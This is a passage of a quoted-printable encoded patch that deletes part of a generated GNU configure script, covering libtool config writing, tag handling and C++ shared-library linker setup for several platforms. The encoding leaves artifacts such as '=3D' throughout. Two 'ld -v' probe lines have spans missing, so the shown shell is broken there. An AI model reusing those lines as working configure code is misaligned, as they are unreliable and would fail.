CONFIG - -# Libtool was configured on host `(hostname || uname -n) 2>/dev/null |= sed 1q`: - -# Shell to use when invoking shell scripts. -SHELL=3D$lt_SHELL - -# Whether or not to build shared libraries. -build_libtool_libs=3D$enable_shared - -# Whether or not to build static libraries. -build_old_libs=3D$enable_static - -# Whether or not to add -lc for building shared libraries. -build_libtool_need_lc=3D$archive_cmds_need_lc - -# Whether or not to disallow shared libs when runtime libs are static -allow_libtool_libs_with_static_runtimes=3D$enable_shared_with_static_r= untimes - -# Whether or not to optimize for fast installation. -fast_install=3D$enable_fast_install - -# The host system. -host_alias=3D$host_alias -host=3D$host - -# An echo program that does not interpret backslashes. -echo=3D$lt_echo - -# The archiver. -AR=3D$lt_AR -AR_FLAGS=3D$lt_AR_FLAGS - -# A C compiler. -LTCC=3D$lt_LTCC - -# A language-specific compiler. -CC=3D$lt_compiler - -# Is the compiler the GNU C compiler? -with_gcc=3D$GCC - -# An ERE matcher. -EGREP=3D$lt_EGREP - -# The linker used to build libraries. -LD=3D$lt_LD - -# Whether we need hard or soft links. -LN_S=3D$lt_LN_S - -# A BSD-compatible nm program. -NM=3D$lt_NM - -# A symbol stripping program -STRIP=3D$lt_STRIP - -# Used to examine libraries when file_magic_cmd begins "file" -MAGIC_CMD=3D$MAGIC_CMD - -# Used on cygwin: DLL creation program. -DLLTOOL=3D"$DLLTOOL" - -# Used on cygwin: object dumper. -OBJDUMP=3D"$OBJDUMP" - -# Used on cygwin: assembler. -AS=3D$lt_AS - -# The name of the directory that contains temporary libtool files. -objdir=3D$objdir - -# How to create reloadable object files. -reload_flag=3D$lt_reload_flag -reload_cmds=3D$lt_reload_cmds - -# How to pass a linker flag through the compiler. -wl=3D$lt_lt_prog_compiler_wl - -# Object file suffix (normally "o"). -objext=3D"$ac_objext" - -# Old archive suffix (normally "a"). -libext=3D"$libext" - -# Shared library suffix (normally ".so"). -shrext_cmds=3D'$shrext_cmds' - -# Executable file suffix (normally ""). -exeext=3D"$exeext" - -# Additional compiler flags for building library objects. -pic_flag=3D$lt_lt_prog_compiler_pic -pic_mode=3D$pic_mode - -# What is the maximum length of a command? -max_cmd_len=3D$lt_cv_sys_max_cmd_len - -# Does compiler simultaneously support -c and -o options? -compiler_c_o=3D$lt_lt_cv_prog_compiler_c_o - -# Must we lock files when doing compilation ? -need_locks=3D$lt_need_locks - -# Do we need the lib prefix for modules? -need_lib_prefix=3D$need_lib_prefix - -# Do we need a version for libraries? -need_version=3D$need_version - -# Whether dlopen is supported. -dlopen_support=3D$enable_dlopen - -# Whether dlopen of programs is supported. -dlopen_self=3D$enable_dlopen_self - -# Whether dlopen of statically linked programs is supported. -dlopen_self_static=3D$enable_dlopen_self_static - -# Compiler flag to prevent dynamic linking. -link_static_flag=3D$lt_lt_prog_compiler_static - -# Compiler flag to turn off builtin functions. -no_builtin_flag=3D$lt_lt_prog_compiler_no_builtin_flag - -# Compiler flag to allow reflexive dlopens. -export_dynamic_flag_spec=3D$lt_export_dynamic_flag_spec - -# Compiler flag to generate shared objects directly from archives. -whole_archive_flag_spec=3D$lt_whole_archive_flag_spec - -# Compiler flag to generate thread-safe objects. -thread_safe_flag_spec=3D$lt_thread_safe_flag_spec - -# Library versioning type. -version_type=3D$version_type - -# Format of library name prefix. -libname_spec=3D$lt_libname_spec - -# List of archive names. First name is the real one, the rest are lin= ks. -# The last name is the one that the linker finds with -lNAME. -library_names_spec=3D$lt_library_names_spec - -# The coded name of the library, if different from the real name. -soname_spec=3D$lt_soname_spec - -# Commands used to build and install an old-style archive. -RANLIB=3D$lt_RANLIB -old_archive_cmds=3D$lt_old_archive_cmds -old_postinstall_cmds=3D$lt_old_postinstall_cmds -old_postuninstall_cmds=3D$lt_old_postuninstall_cmds - -# Create an old-style archive from a shared archive. -old_archive_from_new_cmds=3D$lt_old_archive_from_new_cmds - -# Create a temporary old-style archive to link instead of a shared arc= hive. -old_archive_from_expsyms_cmds=3D$lt_old_archive_from_expsyms_cmds - -# Commands used to build and install a shared archive. -archive_cmds=3D$lt_archive_cmds -archive_expsym_cmds=3D$lt_archive_expsym_cmds -postinstall_cmds=3D$lt_postinstall_cmds -postuninstall_cmds=3D$lt_postuninstall_cmds - -# Commands used to build a loadable module (assumed same as above if e= mpty) -module_cmds=3D$lt_module_cmds -module_expsym_cmds=3D$lt_module_expsym_cmds - -# Commands to strip libraries. -old_striplib=3D$lt_old_striplib -striplib=3D$lt_striplib - -# Dependencies to place before the objects being linked to create a -# shared library. -predep_objects=3D$lt_predep_objects - -# Dependencies to place after the objects being linked to create a -# shared library. -postdep_objects=3D$lt_postdep_objects - -# Dependencies to place before the objects being linked to create a -# shared library. -predeps=3D$lt_predeps - -# Dependencies to place after the objects being linked to create a -# shared library. -postdeps=3D$lt_postdeps - -# The library search path used internally by the compiler when linking -# a shared library. -compiler_lib_search_path=3D$lt_compiler_lib_search_path - -# Method to check whether dependent libraries are shared objects. -deplibs_check_method=3D$lt_deplibs_check_method - -# Command to use when deplibs_check_method =3D=3D file_magic. -file_magic_cmd=3D$lt_file_magic_cmd - -# Flag that allows shared libraries with undefined symbols to be built= . -allow_undefined_flag=3D$lt_allow_undefined_flag - -# Flag that forces no undefined symbols. -no_undefined_flag=3D$lt_no_undefined_flag - -# Commands used to finish a libtool library installation in a director= y. -finish_cmds=3D$lt_finish_cmds - -# Same as above, but a single script fragment to be evaled but not sho= wn. -finish_eval=3D$lt_finish_eval - -# Take the output of nm and produce a listing of raw symbols and C nam= es. -global_symbol_pipe=3D$lt_lt_cv_sys_global_symbol_pipe - -# Transform the output of nm in a proper C declaration -global_symbol_to_cdecl=3D$lt_lt_cv_sys_global_symbol_to_cdecl - -# Transform the output of nm in a C name address pair -global_symbol_to_c_name_address=3D$lt_lt_cv_sys_global_symbol_to_c_nam= e_address - -# This is the shared library runtime path variable. -runpath_var=3D$runpath_var - -# This is the shared library path variable. -shlibpath_var=3D$shlibpath_var - -# Is shlibpath searched before the hard-coded library search path? -shlibpath_overrides_runpath=3D$shlibpath_overrides_runpath - -# How to hardcode a shared library path into an executable. -hardcode_action=3D$hardcode_action - -# Whether we should hardcode library paths into libraries. -hardcode_into_libs=3D$hardcode_into_libs - -# Flag to hardcode \$libdir into a binary during linking. -# This must work even if \$libdir does not exist. -hardcode_libdir_flag_spec=3D$lt_hardcode_libdir_flag_spec - -# If ld is used when linking, flag to hardcode \$libdir into -# a binary during linking. This must work even if \$libdir does -# not exist. -hardcode_libdir_flag_spec_ld=3D$lt_hardcode_libdir_flag_spec_ld - -# Whether we need a single -rpath flag with a separated argument. -hardcode_libdir_separator=3D$lt_hardcode_libdir_separator - -# Set to yes if using DIR/libNAME${shared_ext} during linking hardcode= s DIR into the -# resulting binary. -hardcode_direct=3D$hardcode_direct - -# Set to yes if using the -LDIR flag during linking hardcodes DIR into= the -# resulting binary. -hardcode_minus_L=3D$hardcode_minus_L - -# Set to yes if using SHLIBPATH_VAR=3DDIR during linking hardcodes DIR= into -# the resulting binary. -hardcode_shlibpath_var=3D$hardcode_shlibpath_var - -# Set to yes if building a shared library automatically hardcodes DIR = into the library -# and all subsequent libraries and executables linked against it. -hardcode_automatic=3D$hardcode_automatic - -# Variables whose values should be saved in libtool wrapper scripts an= d -# restored at relink time. -variables_saved_for_relink=3D"$variables_saved_for_relink" - -# Whether libtool must link a program against all its dependency libra= ries. -link_all_deplibs=3D$link_all_deplibs - -# Compile-time system search path for libraries -sys_lib_search_path_spec=3D$lt_sys_lib_search_path_spec - -# Run-time system search path for libraries -sys_lib_dlsearch_path_spec=3D$lt_sys_lib_dlsearch_path_spec - -# Fix the shell variable \$srcfile for the compiler. -fix_srcfile_path=3D"$fix_srcfile_path" - -# Set to yes if exported symbols are required. -always_export_symbols=3D$always_export_symbols - -# The commands to list exported symbols. -export_symbols_cmds=3D$lt_export_symbols_cmds - -# The commands to extract the exported symbol list from a shared archi= ve. -extract_expsyms_cmds=3D$lt_extract_expsyms_cmds - -# Symbols that should not be listed in the preloaded symbols. -exclude_expsyms=3D$lt_exclude_expsyms - -# Symbols that must always be exported. -include_expsyms=3D$lt_include_expsyms - -# ### END LIBTOOL CONFIG - -__EOF__ - - - case $host_os in - aix3*) - cat <<\EOF >> "$cfgfile" - -# AIX sometimes has problems with the GCC collect2 program. For some -# reason, if we set the COLLECT_NAMES environment variable, the proble= ms -# vanish in a puff of smoke. -if test "X${COLLECT_NAMES+set}" !=3D Xset; then - COLLECT_NAMES=3D - export COLLECT_NAMES -fi -EOF - ;; - esac - - # We use sed instead of cat because bash on DJGPP gets confused if - # if finds mixed CR/LF and LF-only lines. Since sed operates in - # text mode, it properly converts lines to CR/LF. This bash problem - # is reportedly fixed, but why not run on old versions too? - sed '$q' "$ltmain" >> "$cfgfile" || (rm -f "$cfgfile"; exit 1) - - mv -f "$cfgfile" "$ofile" || \ - (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile") - chmod +x "$ofile" - -else - # If there is no Makefile yet, we rely on a make rule to execute - # `config.status --recheck' to rerun these tests and create the - # libtool script then. - ltmain_in=3D`echo $ltmain | sed -e 's/\.sh$/.in/'` - if test -f "$ltmain_in"; then - test -f Makefile && make "$ltmain" - fi -fi - - -ac_ext=3Dc -ac_cpp=3D'$CPP $CPPFLAGS' -ac_compile=3D'$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' -ac_link=3D'$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS confte= st.$ac_ext $LIBS >&5' -ac_compiler_gnu=3D$ac_cv_c_compiler_gnu - -CC=3D"$lt_save_CC" - - -# Check whether --with-tags or --without-tags was given. -if test "${with_tags+set}" =3D set; then - withval=3D"$with_tags" - tagnames=3D"$withval" -fi; - -if test -f "$ltmain" && test -n "$tagnames"; then - if test ! -f "${ofile}"; then - { echo "$as_me:$LINENO: WARNING: output file \`$ofile' does not ex= ist" >&5 -echo "$as_me: WARNING: output file \`$ofile' does not exist" >&2;} - fi - - if test -z "$LTCC"; then - eval "`$SHELL ${ofile} --config | grep '^LTCC=3D'`" - if test -z "$LTCC"; then - { echo "$as_me:$LINENO: WARNING: output file \`$ofile' does not = look like a libtool script" >&5 -echo "$as_me: WARNING: output file \`$ofile' does not look like a libt= ool script" >&2;} - else - { echo "$as_me:$LINENO: WARNING: using \`LTCC=3D$LTCC', extracte= d from \`$ofile'" >&5 -echo "$as_me: WARNING: using \`LTCC=3D$LTCC', extracted from \`$ofile'= " >&2;} - fi - fi - - # Extract list of available tagged configurations in $ofile. - # Note that this assumes the entire list is on one line. - available_tags=3D`grep "^available_tags=3D" "${ofile}" | $SED -e 's/= available_tags=3D\(.*$\)/\1/' -e 's/\"//g'` - - lt_save_ifs=3D"$IFS"; IFS=3D"${IFS}$PATH_SEPARATOR," - for tagname in $tagnames; do - IFS=3D"$lt_save_ifs" - # Check whether tagname contains only valid characters - case `$echo "X$tagname" | $Xsed -e 's:[-_ABCDEFGHIJKLMNOPQRSTUVWXY= Zabcdefghijklmnopqrstuvwxyz1234567890,/]::g'` in - "") ;; - *) { { echo "$as_me:$LINENO: error: invalid tag name: $tagname" >= &5 -echo "$as_me: error: invalid tag name: $tagname" >&2;} - { (exit 1); exit 1; }; } -=09;; - esac - - if grep "^# ### BEGIN LIBTOOL TAG CONFIG: $tagname$" < "${ofile}" = > /dev/null - then - { { echo "$as_me:$LINENO: error: tag name \"$tagname\" already e= xists" >&5 -echo "$as_me: error: tag name \"$tagname\" already exists" >&2;} - { (exit 1); exit 1; }; } - fi - - # Update the list of available tags. - if test -n "$tagname"; then - echo appending configuration tag \"$tagname\" to $ofile - - case $tagname in - CXX) -=09if test -n "$CXX" && test "X$CXX" !=3D "Xno"; then -=09 ac_ext=3Dcc -ac_cpp=3D'$CXXCPP $CPPFLAGS' -ac_compile=3D'$CXX -c $CXXFLAGS $CPPFLAGS conftest.$ac_ext >&5' -ac_link=3D'$CXX -o conftest$ac_exeext $CXXFLAGS $CPPFLAGS $LDFLAGS con= ftest.$ac_ext $LIBS >&5' -ac_compiler_gnu=3D$ac_cv_cxx_compiler_gnu - - - - -archive_cmds_need_lc_CXX=3Dno -allow_undefined_flag_CXX=3D -always_export_symbols_CXX=3Dno -archive_expsym_cmds_CXX=3D -export_dynamic_flag_spec_CXX=3D -hardcode_direct_CXX=3Dno -hardcode_libdir_flag_spec_CXX=3D -hardcode_libdir_flag_spec_ld_CXX=3D -hardcode_libdir_separator_CXX=3D -hardcode_minus_L_CXX=3Dno -hardcode_automatic_CXX=3Dno -module_cmds_CXX=3D -module_expsym_cmds_CXX=3D -link_all_deplibs_CXX=3Dunknown -old_archive_cmds_CXX=3D$old_archive_cmds -no_undefined_flag_CXX=3D -whole_archive_flag_spec_CXX=3D -enable_shared_with_static_runtimes_CXX=3Dno - -# Dependencies to place before and after the object being linked: -predep_objects_CXX=3D -postdep_objects_CXX=3D -predeps_CXX=3D -postdeps_CXX=3D -compiler_lib_search_path_CXX=3D - -# Source file extension for C++ test sources. -ac_ext=3Dcc - -# Object file extension for compiled C++ test sources. -objext=3Do -objext_CXX=3D$objext - -# Code to be used in simple compile tests -lt_simple_compile_test_code=3D"int some_variable =3D 0;\n" - -# Code to be used in simple link tests -lt_simple_link_test_code=3D'int main(int, char *) { return(0); }\n' - -# ltmain only uses $CC for tagged configurations so make sure $CC is s= et. - -# If no C compiler was specified, use CC. -LTCC=3D${LTCC-"$CC"} - -# Allow CC to be a program name with arguments. -compiler=3D$CC - - -# Allow CC to be a program name with arguments. -lt_save_CC=3D$CC -lt_save_LD=3D$LD -lt_save_GCC=3D$GCC -GCC=3D$GXX -lt_save_with_gnu_ld=3D$with_gnu_ld -lt_save_path_LD=3D$lt_cv_path_LD -if test -n "${lt_cv_prog_gnu_ldcxx+set}"; then - lt_cv_prog_gnu_ld=3D$lt_cv_prog_gnu_ldcxx -else - unset lt_cv_prog_gnu_ld -fi -if test -n "${lt_cv_path_LDCXX+set}"; then - lt_cv_path_LD=3D$lt_cv_path_LDCXX -else - unset lt_cv_path_LD -fi -test -z "${LDCXX+set}" || LD=3D$LDCXX -CC=3D${CXX-"c++"} -compiler=3D$CC -compiler_CXX=3D$CC -cc_basename=3D`$echo X"$compiler" | $Xsed -e 's%^.*/%%'` - -# We don't want -fno-exception wen compiling C++ code, so set the -# no_builtin_flag separately -if test "$GXX" =3D yes; then - lt_prog_compiler_no_builtin_flag_CXX=3D' -fno-builtin' -else - lt_prog_compiler_no_builtin_flag_CXX=3D -fi - -if test "$GXX" =3D yes; then - # Set up default GNU C++ configuration - - -# Check whether --with-gnu-ld or --without-gnu-ld was given. -if test "${with_gnu_ld+set}" =3D set; then - withval=3D"$with_gnu_ld" - test "$withval" =3D no || with_gnu_ld=3Dyes -else - with_gnu_ld=3Dno -fi; -ac_prog=3Dld -if test "$GCC" =3D yes; then - # Check if gcc -print-prog-name=3Dld gives a path. - echo "$as_me:$LINENO: checking for ld used by $CC" >&5 -echo $ECHO_N "checking for ld used by $CC... $ECHO_C" >&6 - case $host in - *-*-mingw*) - # gcc leaves a trailing carriage return which upsets mingw - ac_prog=3D`($CC -print-prog-name=3Dld) 2>&5 | tr -d '\015'` ;; - *) - ac_prog=3D`($CC -print-prog-name=3Dld) 2>&5` ;; - esac - case $ac_prog in - # Accept absolute paths. - [\\/]* | ?:[\\/]*) - re_direlt=3D'/[^/][^/]*/\.\./' - # Canonicalize the pathname of ld - ac_prog=3D`echo $ac_prog| $SED 's%\\\\%/%g'` - while echo $ac_prog | grep "$re_direlt" > /dev/null 2>&1; do -=09ac_prog=3D`echo $ac_prog| $SED "s%$re_direlt%/%"` - done - test -z "$LD" && LD=3D"$ac_prog" - ;; - "") - # If it fails, then pretend we aren't using GCC. - ac_prog=3Dld - ;; - *) - # If it is relative, then search for the first ld in PATH. - with_gnu_ld=3Dunknown - ;; - esac -elif test "$with_gnu_ld" =3D yes; then - echo "$as_me:$LINENO: checking for GNU ld" >&5 -echo $ECHO_N "checking for GNU ld... $ECHO_C" >&6 -else - echo "$as_me:$LINENO: checking for non-GNU ld" >&5 -echo $ECHO_N "checking for non-GNU ld... $ECHO_C" >&6 -fi -if test "${lt_cv_path_LD+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - if test -z "$LD"; then - lt_save_ifs=3D"$IFS"; IFS=3D$PATH_SEPARATOR - for ac_dir in $PATH; do - IFS=3D"$lt_save_ifs" - test -z "$ac_dir" && ac_dir=3D. - if test -f "$ac_dir/$ac_prog" || test -f "$ac_dir/$ac_prog$ac_exee= xt"; then - lt_cv_path_LD=3D"$ac_dir/$ac_prog" - # Check to see if the program is GNU ld. I'd rather use --versi= on, - # but apparently some GNU ld's only accept -v. - # Break only if it was the GNU/non-GNU ld that we prefer. - case `"$lt_cv_path_LD" -v 2>&1 &5 -echo "${ECHO_T}$LD" >&6 -else - echo "$as_me:$LINENO: result: no" >&5 -echo "${ECHO_T}no" >&6 -fi -test -z "$LD" && { { echo "$as_me:$LINENO: error: no acceptable ld fou= nd in \$PATH" >&5 -echo "$as_me: error: no acceptable ld found in \$PATH" >&2;} - { (exit 1); exit 1; }; } -echo "$as_me:$LINENO: checking if the linker ($LD) is GNU ld" >&5 -echo $ECHO_N "checking if the linker ($LD) is GNU ld... $ECHO_C" >&6 -if test "${lt_cv_prog_gnu_ld+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - # I'd rather use --version here, but apparently some GNU ld's only a= ccept -v. -case `$LD -v 2>&1 &5 -echo "${ECHO_T}$lt_cv_prog_gnu_ld" >&6 -with_gnu_ld=3D$lt_cv_prog_gnu_ld - - - - # Check if GNU C++ uses GNU ld as the underlying linker, since the - # archiving commands below assume that GNU ld is being used. - if test "$with_gnu_ld" =3D yes; then - archive_cmds_CXX=3D'$CC -shared -nostdlib $predep_objects $libobjs= $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $= lib' - archive_expsym_cmds_CXX=3D'$CC -shared -nostdlib $predep_objects $= libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$sona= me ${wl}-retain-symbols-file $wl$export_symbols -o $lib' - - hardcode_libdir_flag_spec_CXX=3D'${wl}--rpath ${wl}$libdir' - export_dynamic_flag_spec_CXX=3D'${wl}--export-dynamic' - - # If archive_cmds runs LD, not CC, wlarc should be empty - # XXX I think wlarc can be eliminated in ltcf-cxx, but I need to - # investigate it a little bit more. (MM) - wlarc=3D'${wl}' - - # ancient GNU ld didn't support --whole-archive et. al. - if eval "`$CC -print-prog-name=3Dld` --help 2>&1" | \ -=09grep 'no-whole-archive' > /dev/null; then - whole_archive_flag_spec_CXX=3D"$wlarc"'--whole-archive$convenien= ce '"$wlarc"'--no-whole-archive' - else - whole_archive_flag_spec_CXX=3D - fi - else - with_gnu_ld=3Dno - wlarc=3D - - # A generic and very simple default shared library creation - # command for GNU C++ for the case where it uses the native - # linker, instead of GNU ld. If possible, this setting should - # overridden to take advantage of the native linker features on - # the platform it is being used on. - archive_cmds_CXX=3D'$CC -shared -nostdlib $predep_objects $libobjs= $deplibs $postdep_objects $compiler_flags -o $lib' - fi - - # Commands to make compiler produce verbose output that lists - # what "hidden" libraries, object files and flags are used when - # linking a shared library. - output_verbose_link_cmd=3D'$CC -shared $CFLAGS -v conftest.$objext 2= >&1 | grep "\-L"' - -else - GXX=3Dno - with_gnu_ld=3Dno - wlarc=3D -fi - -# PORTME: fill in a description of your system's C++ link characterist= ics -echo "$as_me:$LINENO: checking whether the $compiler linker ($LD) supp= orts shared libraries" >&5 -echo $ECHO_N "checking whether the $compiler linker ($LD) supports sha= red libraries... $ECHO_C" >&6 -ld_shlibs_CXX=3Dyes -case $host_os in - aix3*) - # FIXME: insert proper C++ library support - ld_shlibs_CXX=3Dno - ;; - aix4* | aix5*) - if test "$host_cpu" =3D ia64; then - # On IA64, the linker does run time linking by default, so we do= n't - # have to do anything special. - aix_use_runtimelinking=3Dno - exp_sym_flag=3D'-Bexport' - no_entry_flag=3D"" - else - aix_use_runtimelinking=3Dno - - # Test if we are trying to use run time linking or normal - # AIX style linking. If -brtl is somewhere in LDFLAGS, we - # need to do runtime linking. - case $host_os in aix4.[23]|aix4.[23].*|aix5*) -=09for ld_flag in $LDFLAGS; do -=09 case $ld_flag in -=09 *-brtl*) -=09 aix_use_runtimelinking=3Dyes -=09 break -=09 ;; -=09 esac -=09done - esac - - exp_sym_flag=3D'-bexport' - no_entry_flag=3D'-bnoentry' - fi - - # When large executables or shared objects are built, AIX ld can - # have problems creating the table of contents. If linking a libr= ary - # or program results in "error TOC overflow" add -mminimal-toc to - # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not - # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS. - - archive_cmds_CXX=3D'' - hardcode_direct_CXX=3Dyes - hardcode_libdir_separator_CXX=3D':' - link_all_deplibs_CXX=3Dyes - - if test "$GXX" =3D yes; then - case $host_os in aix4.012|aix4.012.*) - # We only want to do this on AIX 4.2 and lower, the check - # below for broken collect2 doesn't work under 4.3+ -=09collect2name=3D`${CC} -print-prog-name=3Dcollect2` -=09if test -f "$collect2name" && \ -=09 strings "$collect2name" | grep resolve_lib_name >/dev/null -=09then -=09 # We have reworked collect2 -=09 hardcode_direct_CXX=3Dyes -=09else -=09 # We have old collect2 -=09 hardcode_direct_CXX=3Dunsupported -=09 # It fails to find uninstalled libraries when the uninstalled -=09 # path is not listed in the libpath. Setting hardcode_minus_L -=09 # to unsupported forces relinking -=09 hardcode_minus_L_CXX=3Dyes -=09 hardcode_libdir_flag_spec_CXX=3D'-L$libdir' -=09 hardcode_libdir_separator_CXX=3D -=09fi - esac - shared_flag=3D'-shared' - else - # not using gcc - if test "$host_cpu" =3D ia64; then -=09# VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release -=09# chokes on -Wl,-G. The following line is correct: -=09shared_flag=3D'-G' - else -=09if test "$aix_use_runtimelinking" =3D yes; then -=09 shared_flag=3D'${wl}-G' -=09else -=09 shared_flag=3D'${wl}-bM:SRE' -=09fi - fi - fi - - # It seems that -bexpall does not export symbols beginning with - # underscore (_), so it is better to generate a list of symbols to= export. - always_export_symbols_CXX=3Dyes - if test "$aix_use_runtimelinking" =3D yes; then - # Warning - without using the other runtime loading flags (-brtl= ), - # -berok will link without error, but may produce a broken libra= ry. - allow_undefined_flag_CXX=3D'-berok' - # Determine the default libpath from the value encoded in an emp= ty executable. - cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ - -int -main () -{ - - ; - return 0; -} -_ACEOF -rm -f conftest.$ac_objext conftest$ac_exeext -if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 - (eval $ac_link) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_cxx_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest$ac_exeext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - -aix_libpath=3D`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/I= mport File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } -}'` -# Check for a 64-bit object if we didn't find anything. -if test -z "$aix_libpath"; then aix_libpath=3D`dump -HX64 conftest$ac_= exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/= ^0 *\(.*\)$/\1/; p; } -}'`; fi -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -fi -rm -f conftest.err conftest.$ac_objext \ - conftest$ac_exeext conftest.$ac_ext -if test -z "$aix_libpath"; then aix_libpath=3D"/usr/lib:/lib"; fi - - hardcode_libdir_flag_spec_CXX=3D'${wl}-blibpath:$libdir:'"$aix_l= ibpath" - - archive_expsym_cmds_CXX=3D"\$CC"' -o $output_objdir/$soname $lib= objs $deplibs $compiler_flags `if test "x${allow_undefined_flag}" !=3D = "x"; then echo "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$no_= entry_flag \${wl}$exp_sym_flag:\$export_symbols $shared_flag" - else - if test "$host_cpu" =3D ia64; then -=09hardcode_libdir_flag_spec_CXX=3D'${wl}-R $libdir:/usr/lib:/lib' -=09allow_undefined_flag_CXX=3D"-z nodefs" -=09archive_expsym_cmds_CXX=3D"\$CC $shared_flag"' -o $output_objdir/$s= oname $libobjs $deplibs $compiler_flags ${wl}${allow_undefined_flag} '"= \${wl}$no_entry_flag \${wl}$exp_sym_flag:\$export_symbols" - else -=09# Determine the default libpath from the value encoded in an empty = executable. -=09cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ - -int -main () -{ - - ; - return 0; -} -_ACEOF -rm -f conftest.$ac_objext conftest$ac_exeext -if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 - (eval $ac_link) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_cxx_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest$ac_exeext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - -aix_libpath=3D`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/I= mport File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } -}'` -# Check for a 64-bit object if we didn't find anything. -if test -z "$aix_libpath"; then aix_libpath=3D`dump -HX64 conftest$ac_= exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/= ^0 *\(.*\)$/\1/; p; } -}'`; fi -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -fi -rm -f conftest.err conftest.$ac_objext \ - conftest$ac_exeext conftest.$ac_ext -if test -z "$aix_libpath"; then aix_libpath=3D"/usr/lib:/lib"; fi - -=09hardcode_libdir_flag_spec_CXX=3D'${wl}-blibpath:$libdir:'"$aix_libp= ath" -=09# Warning - without using the other run time loading flags, -=09# -berok will link without error, but may produce a broken library. -=09no_undefined_flag_CXX=3D' ${wl}-bernotok' -=09allow_undefined_flag_CXX=3D' ${wl}-berok' -=09# -bexpall does not export symbols beginning with underscore (_) -=09always_export_symbols_CXX=3Dyes -=09# Exported symbols can be pulled into shared objects from archives -=09whole_archive_flag_spec_CXX=3D' ' -=09archive_cmds_need_lc_CXX=3Dyes -=09# This is similar to how AIX traditionally builds it's shared libra= ries. -=09archive_expsym_cmds_CXX=3D"\$CC $shared_flag"' -o $output_objdir/$s= oname $libobjs $deplibs $compiler_flags ${wl}-bE:$export_symbols ${wl}-= bnoentry${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$r= elease.a $output_objdir/$soname' - fi - fi - ;; - chorus*) - case $cc_basename in - *) -=09# FIXME: insert proper C++ library support -=09ld_shlibs_CXX=3Dno -=09;; - esac - ;; - - - cygwin* | mingw* | pw32*) - # _LT_AC_TAGVAR(hardcode_libdir_flag_spec, CXX) is actually meanin= gless, - # as there is no search path for DLLs. - hardcode_libdir_flag_spec_CXX=3D'-L$libdir' - allow_undefined_flag_CXX=3Dunsupported - always_export_symbols_CXX=3Dno - enable_shared_with_static_runtimes_CXX=3Dyes - - if $LD --help 2>&1 | grep 'auto-import' > /dev/null; then - archive_cmds_CXX=3D'$CC -shared -nostdlib $predep_objects $libob= js $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname = ${wl}--image-base=3D0x10000000 ${wl}--out-implib,$lib' - # If the export-symbols file already is a .def file (1st line - # is EXPORTS), use it as is; otherwise, prepend... - archive_expsym_cmds_CXX=3D'if test "x`$SED 1q $export_symbols`" = =3D xEXPORTS; then -=09cp $export_symbols $output_objdir/$soname.def; - else -=09echo EXPORTS > $output_objdir/$soname.def; -=09cat $export_symbols >> $output_objdir/$soname.def; - fi~ - $CC -shared -nostdlib $output_objdir/$soname.def $predep_objects= $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$= soname ${wl}--image-base=3D0x10000000 ${wl}--out-implib,$lib' - else - ld_shlibs_CXX=3Dno - fi - ;; - darwin* | rhapsody*) - case "$host_os" in - rhapsody* | darwin1.[012]) - allow_undefined_flag_CXX=3D'${wl}-undefined ${wl}suppress' - ;; - *) # Darwin 1.3 on - if test -z ${MACOSX_DEPLOYMENT_TARGET} ; then - allow_undefined_flag_CXX=3D'${wl}-flat_namespace ${wl}-unde= fined ${wl}suppress' - else - case 